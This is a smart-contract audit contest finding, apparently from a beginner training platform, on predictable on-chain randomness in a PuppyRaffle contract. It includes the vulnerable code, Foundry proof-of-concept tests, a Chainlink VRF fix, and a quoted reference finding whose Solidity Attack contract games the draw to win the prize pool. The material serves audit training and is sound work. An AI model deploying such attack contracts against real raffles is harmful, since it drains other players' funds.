Puppy Raffle

AI First Flight #1
Beginner FriendlyFoundrySolidityNFT
EXP
View results
Submission Details
Severity: high
Valid

Weak randomness in PuppyRaffle::selectWinner allows anyone to choose winner

Root + Impact

Description

  • The raffle contract is intended to select a winner and assign a puppy rarity in a fair, unpredictable, and non-manipulable way, using a pseudorandom number derived from blockchain properties.

  • Hashing msg.sender, block.timestamp, and block.difficulty together produces a predictable final number, which is not a suitable source of randomness. Malicious users can manipulate these values or know them in advance to influence or determine the winner and/or the puppy rarity.

// Root cause in the codebase with @> marks to highlight the relevant section
// Root cause in the codebase with @> marks to highlight the relevant section
function selectWinner() external {
require(block.timestamp >= raffleStartTime + raffleDuration, "PuppyRaffle: Raffle not over");
require(players.length >= 4, "PuppyRaffle: Need at least 4 players");
// @> Vulnerable randomness source #1 - Predictable winner selection
@> uint256 winnerIndex =
@> uint256(keccak256(abi.encodePacked(msg.sender, block.timestamp, block.prevrandao))) % players.length;
@> address winner = players[winnerIndex];
uint256 totalAmountCollected = players.length * entranceFee;
uint256 prizePool = (totalAmountCollected * 80) / 100;
uint256 fee = (totalAmountCollected * 20) / 100;
totalFees = totalFees + uint64(fee);
uint256 tokenId = tokenCounter;
tokenCounter++;
// @> Vulnerable randomness source #2 - Predictable rarity selection
@> uint256 rarity = uint256(keccak256(abi.encodePacked(msg.sender, block.prevrandao))) % 100;
@> if (rarity <= COMMON_RARITY) {
@> tokenIdToRarity[tokenId] = COMMON_RARITY;
@> } else if (rarity <= COMMON_RARITY + RARE_RARITY) {
@> tokenIdToRarity[tokenId] = RARE_RARITY;
@> } else {
@> tokenIdToRarity[tokenId] = LEGENDARY_RARITY;
@> }
delete players;
raffleStartTime = block.timestamp;
previousWinner = winner;
(bool success,) = winner.call{value: prizePool}("");
require(success, "PuppyRaffle: Failed to send prize pool to winner");
_safeMint(winner, tokenId);
}

Risk

Likelihood:

  • Any participant or miner can predict the “random” number before the transaction is mined by knowing msg.sender and estimating block.timestamp and block.difficulty.

  • Miners can subtly influence block.timestamp and block.difficulty within allowed bounds, giving them an advantage in controlling the outcome

Impact:

  • Malicious users can consistently select themselves as the winner, draining the prize pool and breaking the fairness of the raffle.

  • Attackers can also choose the rarest puppy every time, effectively nullifying the rarity system and making all puppies equally common, destroying the game’s economy and intended mechanics.

Proof of Concept

There are a few attack vectors here.

  1. Validators can know ahead of time the block.timestamp and block.difficulty and use that knowledge to predict when / how to participate. See the solidity blog on prevrando here. block.difficulty was recently replaced with prevrandao.

  2. Users can manipulate the msg.sender value to result in their index being the winner.

Using on-chain values as a randomness seed is a well-known attack vector in the blockchain space.

function test_PredictWinner() public {
// Step 1: Enter raffle with 4 players
vm.deal(attacker, 10 ether);
vm.deal(user2, 10 ether);
vm.deal(user3, 10 ether);
vm.deal(user4, 10 ether);
vm.startPrank(attacker);
raffle.enterRaffle{value: entranceFee}(address(0x0));
vm.stopPrank();
vm.prank(user2);
raffle.enterRaffle{value: entranceFee}(address(0x0));
vm.prank(user3);
raffle.enterRaffle{value: entranceFee}(address(0x0));
vm.prank(user4);
raffle.enterRaffle{value: entranceFee}(address(0x0));
// Step 2: Fast forward to end of raffle
vm.warp(block.timestamp + raffleDuration + 1);
// Step 3: Attacker calculates winner before calling
uint256 predictedWinnerIndex = uint256(
keccak256(abi.encodePacked(
attacker,
block.timestamp,
block.prevrandao
))
) % 4;
address predictedWinner = address(0);
if (predictedWinnerIndex == 0) predictedWinner = attacker;
else if (predictedWinnerIndex == 1) predictedWinner = user2;
else if (predictedWinnerIndex == 2) predictedWinner = user3;
else predictedWinner = user4;
console.log("Predicted winner:", predictedWinner);
// Step 4: Attacker can decide NOT to call if they won't win
// Or worse: Mine the block with different values until they win
if (predictedWinner != attacker) {
console.log("Attacker will wait for better block conditions");
// In reality, attacker would try different block.timestamp values
// by front-running or working with miners
} else {
vm.prank(attacker);
raffle.selectWinner();
console.log("Attacker won and selected rarity");
}
}
// Demonstration of miner manipulation
function test_MinerManipulation() public {
// Setup same as above...
// Miners can slightly adjust block.timestamp (within ~15 seconds)
// and prevrandao to influence outcome
for (uint i = 0; i < 100; i++) {
vm.warp(block.timestamp + i); // Try different timestamps
uint256 winnerIndex = uint256(
keccak256(abi.encodePacked(
attacker,
block.timestamp,
block.prevrandao
))
) % 4;
if (winnerIndex == 0) {
console.log("Found winning timestamp at offset:", i);
break;
}
}
}
}

Recommended Mitigation

Consider using an oracle for your randomness, like Chainlink VRF.

function selectWinner() external {
- // @audit-info does this follow CEI?
require(block.timestamp >= raffleStartTime + raffleDuration, "PuppyRaffle: Raffle not over");
require(players.length >= 4, "PuppyRaffle: Need at least 4 players");
- // @audit randomness
- // fixes: Chainlink VRF, Commit Reveal Scheme
- uint256 winnerIndex =
- uint256(keccak256(abi.encodePacked(msg.sender, block.timestamp, block.prevrandao))) % players.length;
- address winner = players[winnerIndex];
- // @audit-info why not just do address(this).balance?
uint256 totalAmountCollected = players.length * entranceFee;
- // q is the 80% correct?
- // q i bet there is an arithmetic error here...
uint256 prizePool = (totalAmountCollected * 80) / 100;
uint256 fee = (totalAmountCollected * 20) / 100;
- // this is the total fees the owner should be able to collect
- // @audit overflow
- // Fixes: Newer version of solidity, bigger uints
- // @audit unsafe cast of uint256 to uint64
totalFees = totalFees + uint64(fee);
uint256 tokenId = tokenCounter;
tokenCounter++;
- // We use a different RNG calculate from the winnerIndex to determine rarity
- // @audit randomness
-
- // @audit people can revert the tx till they win
- uint256 rarity = uint256(keccak256(abi.encodePacked(msg.sender, block.prevrandao))) % 100;
- if (rarity <= COMMON_RARITY) {
- tokenIdToRarity[tokenId] = COMMON_RARITY;
- } else if (rarity <= COMMON_RARITY + RARE_RARITY) {
- tokenIdToRarity[tokenId] = RARE_RARITY;
- } else {
- tokenIdToRarity[tokenId] = LEGENDARY_RARITY;
- }
-
- delete players; // e resetting the players array
+ // Request randomness from Chainlink VRF
+ uint256 requestId = COORDINATOR.requestRandomWords(
+ keyHash,
+ s_subscriptionId,
+ requestConfirmations,
+ callbackGasLimit,
+ numWords
+ );
+
+ raffleRequests[requestId] = RaffleInfo({
+ players: players,
+ prizePool: prizePool,
+ tokenId: tokenId
+ });
+
+ delete players;
raffleStartTime = block.timestamp;
- previousWinner = winner; // e vanity, doesn't matter much
-
-
- // @audit the winner wouldn't get the money if their fallback was messed up!
- (bool success,) = winner.call{value: prizePool}("");
- require(success, "PuppyRaffle: Failed to send prize pool to winner");
- _safeMint(winner, tokenId);
}
+ function fulfillRandomWords(uint256 requestId, uint256[] memory randomWords) internal override {
+ RaffleInfo memory info = raffleRequests[requestId];
+
+ uint256 winnerIndex = randomWords[0] % info.players.length;
+ address winner = info.players[winnerIndex];
+
+ uint256 rarity = randomWords[1] % 100;
+ if (rarity <= COMMON_RARITY) {
+ tokenIdToRarity[info.tokenId] = COMMON_RARITY;
+ } else if (rarity <= COMMON_RARITY + RARE_RARITY) {
+ tokenIdToRarity[info.tokenId] = RARE_RARITY;
+ } else {
+ tokenIdToRarity[info.tokenId] = LEGENDARY_RARITY;
+ }
+
+ previousWinner = winner;
+
+ (bool success,) = winner.call{value: info.prizePool}("");
+ require(success, "Failed to send prize pool");
+ _safeMint(winner, info.tokenId);
+
+ delete raffleRequests[requestId];
+ }
}
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 10 hours ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-03] Randomness can be gamed

## Description The randomness to select a winner can be gamed and an attacker can be chosen as winner without random element. ## Vulnerability Details Because all the variables to get a random winner on the contract are blockchain variables and are known, a malicious actor can use a smart contract to game the system and receive all funds and the NFT. ## Impact Critical ## POC ``` // SPDX-License-Identifier: No-License pragma solidity 0.7.6; interface IPuppyRaffle { function enterRaffle(address[] memory newPlayers) external payable; function getPlayersLength() external view returns (uint256); function selectWinner() external; } contract Attack { IPuppyRaffle raffle; constructor(address puppy) { raffle = IPuppyRaffle(puppy); } function attackRandomness() public { uint256 playersLength = raffle.getPlayersLength(); uint256 winnerIndex; uint256 toAdd = playersLength; while (true) { winnerIndex = uint256( keccak256( abi.encodePacked( address(this), block.timestamp, block.difficulty ) ) ) % toAdd; if (winnerIndex == playersLength) break; ++toAdd; } uint256 toLoop = toAdd - playersLength; address[] memory playersToAdd = new address[](toLoop); playersToAdd[0] = address(this); for (uint256 i = 1; i < toLoop; ++i) { playersToAdd[i] = address(i + 100); } uint256 valueToSend = 1e18 * toLoop; raffle.enterRaffle{value: valueToSend}(playersToAdd); raffle.selectWinner(); } receive() external payable {} function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) public returns (bytes4) { return this.onERC721Received.selector; } } ``` ## Recommendations Use Chainlink's VRF to generate a random number to select the winner. Patrick will be proud.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!